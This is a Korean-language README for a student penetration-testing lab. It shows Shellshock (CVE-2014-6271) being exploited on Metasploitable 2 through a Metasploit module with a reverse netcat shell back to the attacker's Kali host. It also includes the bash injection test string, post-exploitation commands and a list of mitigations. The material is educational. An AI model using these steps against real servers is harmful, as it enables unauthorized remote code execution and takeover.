
교육용 랩으로, Metasploitable 2를 대상으로 Metasploit을 사용하여 Shellshock(CVE-2014-6271) 악용을 시연합니다. 스캐닝, 악용, 리버스 셸, 그리고 완화 전략을 포함합니다.
이 자료는 취약점 평가 및 침투 테스트 II 과목의 실습 과제로, Shellshock 취약점(CVE-2014-6271)의 악용 및 분석에 중점을 둡니다.
통제된 실습 환경에서 Metasploitable 2(타겟)와 Kali Linux(공격자)를 사용하여 수행되었습니다.
nmap -sS -sV <target-ip>
2️⃣ Metasploit 시작
msfconsole
3️⃣ 악용 모듈 로드
use exploit/multi/http/apache_mod_cgi_bash_env_exec
4️⃣ 악용 설정
set RHOST <target-ip>
set TARGETURI /cgi-bin/status
set LHOST <your-kali-ip>
set PAYLOAD cmd/unix/reverse_netcat
5️⃣ 악용 실행
exploit
📸 시연 내용
📡 Nmap 스캔 결과
⚙️ Metasploit 설정
🔄 리버스 셸 세션 출력
🛠 사후 악용 명령어:
whoami
uname -a
ifconfig
📖 이론적 배경 Shellshock이란?
Shellshock은 GNU Bash 셸의 취약점으로, 공격자가 환경 변수에 명령을 주입하여 임의 명령을 실행할 수 있게 합니다. 2014년 9월에 발견되었으며 CVE-2014-6271로 지정되었습니다. Bash v1.14부터 v4.3까지 영향을 미칩니다. 작동 방식
Bash는 환경 변수의 함수 정의를 잘못 처리하여 함수 본문 뒤에 추가 명령을 실행합니다. CGI 스크립트를 사용하는 웹 서버에서 HTTP 헤더가 환경 변수가 되어 쉬운 공격 경로를 제공합니다.
예시:
env x='() { :;}; echo vulnerable' bash -c "echo test"
취약할 경우 vulnerable이 출력됩니다. 영향
인증 없이 완전한 원격 코드 실행 (RCE)
간단한 HTTP 요청으로 악용 가능
봇넷, 웜, 표적 공격에 사용됨
수백만 대의 서버, 라우터, IoT 기기에 영향
실제 악용 사례
Yahoo 서버 – CGI 스크립트를 통한 악성코드
Wopbot 봇넷 – 자동화된 악용
QNAP NAS – 원격 셸 접근 및 악성코드
자가 복제 웜 – 새로운 취약한 호스트로 확산
🛡 예방 및 완화
🔄 Bash 즉시 업데이트
🚫 사용하지 않는 CGI 스크립트 비활성화
🔥 불필요한 트래픽 차단을 위한 방화벽 사용
🛡 웹 애플리케이션 방화벽(WAF) 배포
📜 HTTP 요청 로그 모니터링
👤 최소 권한 원칙 적용
⚠️ 면책 조항
이 프로젝트는 교육 목적으로만 제작되었습니다. 모든 테스트는 통제된 실습 환경에서 수행되었습니다. ❌ 허가 없이 시스템에 이 기술을 사용하지 마십시오.
👨💻 저자: Janith Madhusankha 🎓 과정: BICT (Hons) in Network & Security 🏫 기관: South Eastern University of Sri Lanka